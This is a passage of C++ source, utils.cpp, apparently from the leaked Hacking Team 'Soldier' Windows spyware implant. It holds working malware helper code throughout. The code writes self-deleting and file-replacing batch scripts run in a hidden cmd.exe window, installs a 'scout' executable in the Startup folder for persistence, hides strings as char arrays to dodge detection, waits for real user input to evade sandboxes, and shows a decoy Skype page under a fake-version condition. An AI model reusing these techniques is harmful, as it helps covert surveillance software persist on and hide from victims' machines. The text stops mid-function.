hackedteam/soldier-win

View on GitHub
Soldier/utils.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>

#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "binpatch.h"
#include "mayhem.h"
#include "proto.h"
#include "debug.h"
#include "JSON.h"
#include "crypt.h"

#define _INCLUDE_GLOBAL_FUNCTIONS_
#include "version.h"

HKEY GetRegistryKeyHandle(__in HKEY hParentKey, __in LPWSTR strSubKey, __in DWORD dwSamDesidered)
{
    HKEY hKey;
    DWORD dwRet = RegOpenKeyEx(hParentKey, 
        strSubKey, 
        0, 
        dwSamDesidered, //bWrite ? KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS : KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS,
        &hKey);

    if (dwRet != ERROR_SUCCESS)
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] RegOpenKeyEx failed for %08x\\%s ==> %08x\n", hParentKey, strSubKey, GetLastError());
        __asm int 3;
#endif
        return NULL;
    }

    return hKey;
}

BOOL GetRegistryValue(__in HKEY hRootKey, __in LPWSTR strSubKey, __in LPWSTR strKeyName, __out LPVOID lpBuffer, __in DWORD dwBuffSize, __in DWORD dwSam)
{
    if (dwBuffSize)
        SecureZeroMemory(lpBuffer, dwBuffSize);

    HKEY hKey = GetRegistryKeyHandle(hRootKey, strSubKey, dwSam);
    if (hKey == NULL)
        return FALSE;

    DWORD dwLen = dwBuffSize;
    if (RegQueryValueEx(hKey, strKeyName, NULL, NULL, (LPBYTE) lpBuffer, &dwLen) != ERROR_SUCCESS)
    {
#ifdef _DEBUG
//        OutputDebug(L"[!!] GetRegistryValue: RegQueryValue => %08x\n", GetLastError());
//        __asm int 3;
#endif
        RegCloseKey(hKey);
        return FALSE;
    }

    RegCloseKey(hKey);
    return TRUE;
}

LPSTR GetEliteSharedMemoryName()
{
    LPSTR pName = (LPSTR) zalloc(8);
    memcpy(pName, WMARKER, 7); 
    return pName;
}

/*
LPWSTR GetScoutSharedMemoryName()
{
    WCHAR strFormat[] = { L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'\0' };
    LPWSTR pName = (LPWSTR)zalloc(18 * sizeof(WCHAR));

    _snwprintf_s(pName, 
        18,
        _TRUNCATE,
        strFormat,
        pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]);

        //L"%02X%02X%02X%02X%02X%02X%02X", 
        //pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]);

    return pName;
}
*/

BOOL ExistsEliteSharedMemory()
{
    HANDLE hMem;
    LPSTR pName;
    BOOL bRet = FALSE;
    
    pName = GetEliteSharedMemoryName();
    hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName);
    if (hMem)
    {
        bRet = TRUE;
        CloseHandle(hMem);
    }

    zfree(pName);
    return bRet;
}

BOOL ExistsScoutSharedMemory()
{
    HANDLE hMem;
    LPWSTR pName;
    BOOL uRet = FALSE;
    
    pName = GetScoutSharedMemoryName();
    hMem = OpenFileMapping(FILE_MAP_READ, FALSE, pName);

    if (hMem)
    {
        uRet = TRUE;
        CloseHandle(hMem);
    }

    zfree(pName);
    return uRet;
}


BOOL CreateScoutSharedMemory()
{
    BOOL bRet = FALSE;
    LPWSTR pName;
    
#ifdef _DEBUG
    OutputDebug(L"[+] Creating scout shared memory\n");
#endif
    if (ExistsScoutSharedMemory())
        return FALSE;

    pName = GetScoutSharedMemoryName();
    hScoutSharedMemory = CreateFileMapping(INVALID_HANDLE_VALUE, 
        NULL,
        PAGE_READWRITE,
        0,
        SHARED_MEMORY_WRITE_SIZE,
        pName);

    if (hScoutSharedMemory)
        bRet = TRUE;
    
    zfree(pName);
    return bRet;
}

BOOL CreateRegistryKey(HKEY hBaseKey, LPWSTR strSubKey, DWORD dwOptions, DWORD dwPermissions, PHKEY hOutKey)
{
    HKEY hKey;
    DWORD dwRet = RegCreateKeyEx(hBaseKey, strSubKey, 0, NULL, dwOptions, dwPermissions, NULL, &hKey, NULL); 
    if (dwRet != ERROR_SUCCESS)
        return FALSE;

    if (!hOutKey)
        RegCloseKey(hKey);
    else
        *hOutKey = hKey;

    return TRUE;
}

LPWSTR GetStartupPath()
{
    LPWSTR pStartupPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
    LPWSTR pShortPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
    
    SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE);
    GetShortPathName(pStartupPath, pShortPath, MAX_FILE_PATH - 1);

    zfree(pStartupPath);
    return pShortPath;
}

LPWSTR GetStartupScoutName()
{
    LPWSTR pStartupPath = GetStartupPath();
    LPWSTR pFullPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
    
    _snwprintf_s(pFullPath, MAX_FILE_PATH - 1, _TRUNCATE, L"%s\\%S.exe", pStartupPath, SCOUT_NAME);

    zfree(pStartupPath);
    return pFullPath;
}

VOID IsX64System(__out PBOOL bIsWow64, __out PBOOL bIsx64OS)
{    
    SYSTEM_INFO SysInfo;
    IsWow64Process((HANDLE)-1, bIsWow64);

    GetNativeSystemInfo(&SysInfo);
    if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
        *bIsx64OS = FALSE;
    else
        *bIsx64OS = TRUE;

    return;
}

LPWSTR GetMySelfName()
{
    LPWSTR pName = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR));
    LPWSTR pShort = (LPWSTR) zalloc((MAX_FILE_PATH*2+1) * sizeof(WCHAR));
    
    GetModuleFileName(NULL, pName, MAX_FILE_PATH*2);
    if (!GetShortPathName(pName, pShort, MAX_FILE_PATH*2))
    {
        zfree(pShort);
        return pName;
    }

    zfree(pName);
    return pShort;
}

BOOL AmIFromStartup()
{
    BOOL uRet;
    
    LPWSTR pStartupPath = GetStartupPath();
    LPWSTR pCurrentPath = GetMySelfName();

    if (StrRChr(pCurrentPath, NULL, L'\\'))
        *(StrRChr(pCurrentPath, NULL, L'\\')) = L'\0';

    if (StrCmpI(pCurrentPath, pStartupPath))
        uRet = FALSE;
    else
        uRet = TRUE;
    
    zfree(pStartupPath);
    zfree(pCurrentPath);
    
    return uRet;
}

VOID MySleep(__in LONG dwTime) // dwTime MUST be signed
{
    if (!hScoutMessageWindow)
        return Sleep(dwTime * 1000);

    LARGE_INTEGER fTime;
    __int64 qwDueTime = ((dwTime * -1L)) * 10000000;
    fTime.LowPart = (DWORD) (qwDueTime & 0xFFFFFFFF);
    fTime.HighPart = (LONG) (qwDueTime >> 32);

    if (!hMsgTimer)
        hMsgTimer = CreateWaitableTimer(NULL, FALSE, L"MSG_TIMER");

    if (hMsgTimer && SetWaitableTimer(hMsgTimer, &fTime, 0, NULL, NULL, FALSE))
        WaitForSingleObject(hMsgTimer, INFINITE);
    else
        Sleep(dwTime * 1000);
}


LPWSTR GetTemp()
{
    LPWSTR pTemp = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
    LPWSTR pShort = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
    
    GetEnvironmentVariable(L"TMP", pTemp, MAX_FILE_PATH); // FIXME GetTempPath
    GetShortPathName(pTemp, pShort, 4096);
    
    zfree(pTemp);
    return pShort;
}

VOID DeleteAndDie(__in BOOL bDie)
{
    HANDLE hFile;
    char batch_format[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };

    if (hScoutSharedMemory)
    {
        CloseHandle(hScoutSharedMemory);    
        hScoutSharedMemory = NULL;
    }


    LPWSTR pTempPath = GetTemp();
    LPWSTR pBatFileName = (LPWSTR)zalloc(MAX_FILE_PATH * sizeof(WCHAR));

    ULONG uTick = GetTickCount();
    do
    {
        _snwprintf_s(pBatFileName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
        hFile = CreateFile(pBatFileName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while(1);

#ifdef _DEBUG
    OutputDebug(pBatFileName);    
#endif

    // get full filename in startup
    LPWSTR pExeFileName = GetMySelfName();

    // create batch buffer
    ULONG uSize = strlen(batch_format) + 32676*3 + 1;
    LPSTR pBatchBuffer = (LPSTR) zalloc(uSize);
    memset(pBatchBuffer, 0x0, uSize);
    _snprintf_s(pBatchBuffer, uSize, _TRUNCATE, batch_format, pExeFileName, pExeFileName, pBatFileName);

#ifdef _DEBUG
    OutputDebug(pExeFileName);    
#endif

    // write it
    ULONG uOut;
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    if (StartBatch(pBatFileName))
    {
        if (bDie)
            ExitProcess(0);
        else
            return;
    }
#ifdef _DEBUG
    else
    {
        OutputDebug(L"[!!] Error executing autodelete batch!!\n");
        __asm int 3;
    }
#endif
    zfree(pBatFileName);
    zfree(pExeFileName);
    zfree(pBatchBuffer);
    zfree(pTempPath);

}


BOOL StartBatch(__in LPWSTR pName)
{
    BOOL bRet;
        
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPWSTR pApplicationName = (LPWSTR) zalloc(4096 * sizeof(WCHAR));
    WCHAR pTempInterpreter[] = { L'%', L'S', L'Y', L'S', L'T', L'E', L'M', L'R', L'O', L'O', L'T', L'%', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'c', L'm', L'd', L'.', L'e', L'x', L'e', 0x0 };
    LPWSTR pInterpreter = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));

    ExpandEnvironmentStrings(pTempInterpreter, pInterpreter, MAX_FILE_PATH * sizeof(WCHAR));
    _snwprintf_s(pApplicationName, 4095, _TRUNCATE, L"/c %s", pName);

    SecureZeroMemory(&si, sizeof(STARTUPINFO));
    SecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    
    if (FakeConditionalVersion())
    {
        ShellExecute(NULL, L"open", L"http://en.wikipedia.org/wiki/Skype", NULL, NULL, SW_SHOWNORMAL);
        exit(0);
    }
    else
        bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    zfree(pApplicationName);
    zfree(pInterpreter);    
    return bRet;
}

VOID CreateCopyBatch(LPWSTR pSource, LPWSTR pDest, LPWSTR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick ,uOut;
    LPWSTR pTempPath = GetTemp();
    LPWSTR pBatchName = (LPWSTR) zalloc(32767*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', '"', '%', 'S', '"', 0x0};
    PCHAR pBatchBuffer = (PCHAR) zalloc(strlen(pBatchFormat) + (32767 * 3));

    uTick = GetTickCount();
    do
    {
        WCHAR pName[] = { L'%', L's', L'\\', L'%', L'd', L'.', L'b', L'a', L't', L'\0' };
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, pName, pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, pSource, pDest);
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    zfree(pBatchBuffer);
    zfree(pTempPath);
}

VOID CreateDeleteBatch(__in LPWSTR pFileName, __in LPWSTR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    LPWSTR pTempPath = GetTemp();
    LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
    LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3));
    
    uTick = GetTickCount();
    do
    {
        _snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pFileName, pFileName, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    zfree(pBatchBuffer);
    zfree(pTempPath);
}


VOID CreateReplaceBatch(__in LPWSTR pOldFile, __in LPWSTR pNewFile, __in LPWSTR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    LPWSTR pTempPath = GetTemp();
    LPWSTR pBatchName = (LPWSTR) zalloc(MAX_FILE_PATH*sizeof(WCHAR));
    CHAR pBatchFormat[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '"', '%', 'S', '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', '%', 'S', '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', '%', 'S', '"', ' ', '>', ' ', '"', '%', 'S', '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', '%', 'S', '"', 0x0 };
    LPSTR pBatchBuffer = (LPSTR) zalloc(strlen(pBatchFormat) + (MAX_FILE_PATH * 3));

    uTick = GetTickCount();
    do
    {
        _snwprintf_s(pBatchName, MAX_FILE_PATH, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (MAX_FILE_PATH * 3), _TRUNCATE, pBatchFormat, pOldFile, pOldFile, pNewFile, pOldFile, pOldFile, pNewFile, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

    *pBatchOutName = pBatchName;

    zfree(pBatchBuffer);
    zfree(pTempPath);
}

HRESULT CreateItemFromParsingName(__in LPWSTR strFileName, __out  IShellItem **psi)
{
    PIDLIST_ABSOLUTE pidl;
    HRESULT hr = SHParseDisplayName(strFileName, 0, &pidl, SFGAO_FOLDER, 0);
    if (SUCCEEDED(hr))
    {
        hr = SHCreateShellItem(NULL, NULL, pidl, psi);
        if (SUCCEEDED(hr))
            return S_OK;
    }

    return E_FAIL;
}

VOID BatchCopyFile(__in LPWSTR pSource, __in LPWSTR pDest)
{
    LPWSTR pBatchName;
    
    CreateCopyBatch(pSource, pDest, &pBatchName);
    StartBatch(pBatchName);
    MySleep(8);

    DeleteFile(pBatchName);
    DeleteFile(pBatchName);
    
    zfree(pBatchName);
}

HRESULT ComCopyFile(__in LPWSTR strSourceFile, __in LPWSTR strDestDir, __in_opt LPWSTR strNewName)
{
    IFileOperation *pfo;
    HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pfo));

    if (SUCCEEDED(hr))
    {
        hr = pfo->SetOperationFlags(FOF_NO_UI);
        if (SUCCEEDED(hr))
        {
            IShellItem *psiFrom = NULL;
            //hr = SHCreateItemFromParsingName(strSourceFile, NULL, IID_PPV_ARGS(&psiFrom));
            hr = CreateItemFromParsingName(strSourceFile, &psiFrom);

            if (SUCCEEDED(hr))
            {
                IShellItem *psiTo = NULL;
                if (NULL != strDestDir)
                    hr = CreateItemFromParsingName(strDestDir, &psiTo);
                    //hr = SHCreateItemFromParsingName(strDestDir, NULL, IID_PPV_ARGS(&psiTo));

                if (SUCCEEDED(hr))
                {
                    hr = pfo->CopyItem(psiFrom, psiTo, strNewName, NULL);

                    if (NULL != psiTo)
                        psiTo->Release();
                }                   
                psiFrom->Release();
            }

            if (SUCCEEDED(hr))
                hr = pfo->PerformOperations(); // copy file
        }
        pfo->Release();
    }

    return hr;
}


VOID WaitForInput()
{
    ULONG uLastInput;
    LASTINPUTINFO pLastInputInfo;
    
#ifdef _DEBUG
    OutputDebug(L"[+] FIRST_WAIT\n");
#endif
    MySleep(WAIT_INPUT);

    pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&pLastInputInfo);
    uLastInput = pLastInputInfo.dwTime;

    while (1)
    {
        pLastInputInfo.cbSize = sizeof(LASTINPUTINFO);
        if (GetLastInputInfo(&pLastInputInfo))
        {
            if (pLastInputInfo.dwTime != uLastInput)
                break;
        }
        else
        {
#ifdef _DEBUG
            OutputDebug(L"[+] GetLastInput FAILED\n");
            __asm int 3;
#endif
            MySleep(3);
            break;
        }

#ifdef _DEBUG
        OutputDebug(L"[+] Waiting for input...\n");
#endif
        MySleep(3);
    }
}

ULONG GetRandomInt(__in ULONG uMin, __in ULONG uMax)
{
    if (uMax < (ULONG) 0xFFFFFFFF)
        uMax++;

    return (rand()%(uMax-uMin))+uMin;
}

LPWSTR GetRandomStringW(__in ULONG uMin)
{
    LPWSTR pString = (LPWSTR) zalloc((uMin + 64) * sizeof(WCHAR));

    while(wcslen(pString) < uMin)
    {
        WCHAR pSubString[32] = { 0x0, 0x0 };

        _itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
        wcscat_s(pString, uMin + 64, pSubString);
    }

    return pString;
}

LPSTR GetRandomStringA(__in ULONG uMin)
{
    LPSTR pString = (LPSTR) zalloc(uMin + 64);

    while(strlen(pString) < uMin)
    {
        CHAR pSubString[32] = { 0x0, 0x0 };

        _itoa_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
        strcat_s(pString, uMin + 64, pSubString);
    }

    return pString;
}

LPBYTE GetRandomData(__in DWORD dwBuffLen)
{
    LPBYTE lpBuffer = (LPBYTE) zalloc(dwBuffLen);
    AppendRandomData(lpBuffer, dwBuffLen);
    return lpBuffer;
}

VOID AppendRandomData(PBYTE pBuffer, DWORD uBuffLen)
{
    DWORD i;
    static BOOL uFirstTime = TRUE;

    if (uFirstTime) {
        srand(GetTickCount());
        uFirstTime = FALSE;
    }

    for (i=0; i<uBuffLen; i++)
        pBuffer[i] = rand();
}

ULONG Align(__in ULONG uSize, __in ULONG uAlignment)
{
    return (((uSize + uAlignment - 1) / uAlignment) * uAlignment);
}

LPBYTE MapFile(LPWSTR strFileName, DWORD dwSharemode)
{
    HANDLE hFile = CreateFile(strFileName, GENERIC_READ, dwSharemode, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        return NULL;

    DWORD dwSize = GetFileSize(hFile, NULL);
    if (dwSize == INVALID_FILE_SIZE || dwSize == 0)
    {
        CloseHandle(hFile);
        return NULL;
    }

    LPBYTE lpBuffer = (LPBYTE) zalloc(dwSize + sizeof(WCHAR));
    if (!lpBuffer)
    {
        CloseHandle(hFile);
        return NULL;
    }

    DWORD dwOut;
    if (!ReadFile(hFile, lpBuffer, dwSize, &dwOut, NULL))
    {
        CloseHandle(hFile);
        zfree(lpBuffer);
        return NULL;
    }
    CloseHandle(hFile);

    if (dwOut != dwSize)
    {
        zfree(lpBuffer);
        return NULL;
    }

    return lpBuffer;
}


VOID URLDecode(__in LPSTR strUrl)
{
    LPSTR strDecodedUrl = strUrl;
    CHAR strCharCode[3] = {0};
    DWORD dwAscii = 0;
    LPSTR strEnd = NULL;

    while(*strUrl) {
        if(*strUrl=='\\' && *(strUrl+1)=='u') {
            strUrl+=4;
            memcpy(strCharCode, strUrl, 2);
            dwAscii = strtoul(strCharCode, &strEnd, 16);
            *strDecodedUrl++ = (char)dwAscii;
            strUrl += 2;
        } else
            *strDecodedUrl++ = *strUrl++;
    }
    *strDecodedUrl = 0;
}

LPWSTR UTF8_2_UTF16(LPSTR strSource)
{
    DWORD dwLen;
    LPWSTR strDest;

    if ( (dwLen = MultiByteToWideChar(CP_UTF8, 0, strSource, -1, NULL, 0)) == 0 )
        return NULL;

    if (!(strDest = (WCHAR *) zalloc(dwLen*sizeof(WCHAR))))
        return NULL;

    if (MultiByteToWideChar(CP_UTF8, 0, strSource, -1, strDest, dwLen) == 0 ) {
        zfree(strDest);
        return NULL;
    }

    return strDest;
}

VOID JsonDecode(__in LPSTR strSource)
{
    WCHAR *strUTF16, *strPtr;
    DWORD size;
    std::wstring decode_16=L"";

    size = strlen(strSource);
    strPtr = strUTF16 = UTF8_2_UTF16(strSource);
    if (!strUTF16) 
        return;

    JSON::ExtractString((const wchar_t **)&strUTF16, decode_16);
    if (wcslen(decode_16.c_str())>0)
        WideCharToMultiByte(CP_UTF8, 0, decode_16.c_str(), -1, strSource, size, 0 , 0);

    zfree(strPtr);
}

LPWSTR CreateTempFile()
{
    WCHAR pTempPath[MAX_PATH + 1];
    LPWSTR pShortTempPath = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
    LPWSTR pTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
    LPWSTR pShortTempFileName = (LPWSTR) zalloc((MAX_PATH + 1)*sizeof(WCHAR));
    
    memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));
    memset(pShortTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR));

    GetTempPath(MAX_PATH + 1, pTempPath);
    GetShortPathName(pTempPath, pShortTempPath, (MAX_PATH + 1)*sizeof(WCHAR));

    GetTempFileName(pTempPath, L"00", 0, pTempFileName);
    GetShortPathName(pTempFileName, pShortTempFileName, (MAX_PATH + 1)*sizeof(WCHAR));

    zfree(pShortTempPath);
    zfree(pTempFileName);
    
    return pShortTempFileName;
}



BOOL WMIExecQueryGetProp(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField,  LPVARIANT lpVar)
{
    BOOL bRet = FALSE;
    IEnumWbemClassObject *pEnum;
    
    BSTR bstrQuery = SysAllocString(strQuery);
    BSTR bstrField = SysAllocString(strField);
    
    WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' };
    BSTR bWQL = SysAllocString(strWQL);

    HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum);
    if (hr == S_OK)
    {
        ULONG uRet;
        IWbemClassObject *apObj;
        hr = pEnum->Next(5000, 1, &apObj, &uRet);
        if (hr == S_OK)
        {
            hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL);
            if (hr == WBEM_S_NO_ERROR)
                bRet = TRUE;

            apObj->Release();
        }
        pEnum->Release();
    }

    SysFreeString(bstrQuery);
    SysFreeString(bstrField);
    SysFreeString(bWQL);
    
    return bRet;
}

BOOL WMIExecQuerySearchEntryHash(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField, LPBYTE pSearchHash, LPVARIANT lpVar)
{
    BOOL bFound = FALSE;
    IEnumWbemClassObject *pEnum;
    WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' };
    
    BSTR bWQL = SysAllocString(strWQL);
    BSTR bstrQuery = SysAllocString(strQuery);
    BSTR bstrField = SysAllocString(strField);

    HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum);
    if (hr == S_OK)
    {
        ULONG uRet;
        IWbemClassObject *apObj;

        while (pEnum->Next(5000, 1, &apObj, &uRet) == S_OK)
        {
            hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL);
            if (hr != WBEM_S_NO_ERROR ||  lpVar->vt != VT_BSTR)
                continue;

            BYTE pSha1Buffer[20];
            CalculateSHA1(pSha1Buffer, (LPBYTE)lpVar->bstrVal, 21*sizeof(WCHAR));
            if (!memcmp(pSha1Buffer, pSearchHash, 20))
                bFound = TRUE;

            apObj->Release();
        }

        pEnum->Release();
    }

    SysFreeString(bstrQuery);
    SysFreeString(bstrField);
    SysFreeString(bWQL);

    return bFound;
}

VOID CreateFileReplacerBatch(__in PWCHAR lpGarbageFile, __in PWCHAR lpScoutStartupPath, __out PWCHAR *pBatchOutName)
{
    HANDLE hFile;
    ULONG uTick, uOut;
    PWCHAR pTempPath = GetTemp();
    PWCHAR pBatchName = (PWCHAR) malloc(32767*sizeof(WCHAR));
    
    /* 
        @echo off
        :t
        timeout 1
        for /f %%i in ('tasklist /FI "IMAGENAME eq %S"  ^| find /v /c ""' ) do set YO=%%i   # 1) current process name
        if %YO%==4 goto :t
        type "%S" > "%S"                                      # 2) fat scout file , 3) scout path in startup
        start /B cmd /c "%S"                                  # 4) scout path in startup
        del /F "%S"                                              # 5) temp scout file 
        del /F "%S"                                              # 6) batch file 
    */
    
    CHAR pBatchFormat[] = { '@','e','c','h','o',' ','o','f','f', '\r', '\n', ':','t', '\r', '\n', 't', 'i', 'm', 'e', 'o', 'u', 't', ' ', '1', '\r', '\n', 'f', 'o', 'r', ' ', '/', 'f', ' ', '%', '%', '%', '%','i', ' ', 'i', 'n',' ','(', '\'', 't','a','s','k','l','i','s','t',' ','/','F','I',' ','"','I','M','A','G','E','N','A','M','E',' ','e','q',' ','%','S','"',' ', '^','|',' ','f','i','n','d', ' ', '/', 'v', ' ', '/', 'c', ' ', '"', '"', '\'',' ',')', ' ', 'd', 'o', ' ', 's', 'e', 't', ' ', 'Y', 'O', '=', '%', '%', '%', '%', 'i', '\r', '\n', 'i','f',' ', '%', '%', 'Y', 'O', '%', '%', '=', '=', '4', ' ','g','o','t','o',' ',':','t', '\r', '\n', 't','y','p','e',' ','"','%','S','"',' ','>', ' ','"','%','S','"', '\r', '\n', 's','t','a','r','t',' ','/','B',' ','c','m','d',' ','/','c',' ','"','%','S','"', '\r', '\n',  'd','e','l',' ','/','F',' ','"','%','S','"', '\r', '\n',     'd','e','l',' ','/','F',' ','"','%','S','"', 0x0 };


    PCHAR pBatchBuffer = (PCHAR) malloc(strlen(pBatchFormat) + (32767 * 3));

    uTick = GetTickCount();
    do
    {
        _snwprintf_s(pBatchName, 32766, _TRUNCATE, L"%s\\%d.bat", pTempPath, uTick++);
        hFile = CreateFile(pBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            break;
    }
    while (1);

    WCHAR lpFullImageName[MAX_PATH*2];
    GetModuleFileName(NULL, lpFullImageName, MAX_PATH*2);
    PWCHAR lpImageName = PathFindFileName(lpFullImageName);

    _snprintf_s(pBatchBuffer, strlen(pBatchFormat) + (32767 * 3), _TRUNCATE, pBatchFormat, lpImageName, lpGarbageFile, lpScoutStartupPath, lpScoutStartupPath, lpGarbageFile, pBatchName); 
    WriteFile(hFile, pBatchBuffer, strlen(pBatchBuffer), &uOut, NULL);
    CloseHandle(hFile);

#ifdef _DEBUG
    OutputDebugString(pBatchName);
    OutputDebugString(L"\n");
    OutputDebugString(lpImageName);
    OutputDebugString(L"\n");
    OutputDebugStringA(pBatchBuffer);
#endif


    *pBatchOutName = pBatchName;

    free(pBatchBuffer);
    free(pTempPath);
}


void UnixTimeToFileTime(time_t t, LPFILETIME pft)
{
    // Note that LONGLONG is a 64-bit value
    LONGLONG ll;

    ll = Int32x32To64(t, 10000000) + 116444736000000000;
    pft->dwLowDateTime = (DWORD)ll;
    pft->dwHighDateTime = ll >> 32;
}

void UnixTimeToSystemTime(time_t t, LPSYSTEMTIME pst)
{
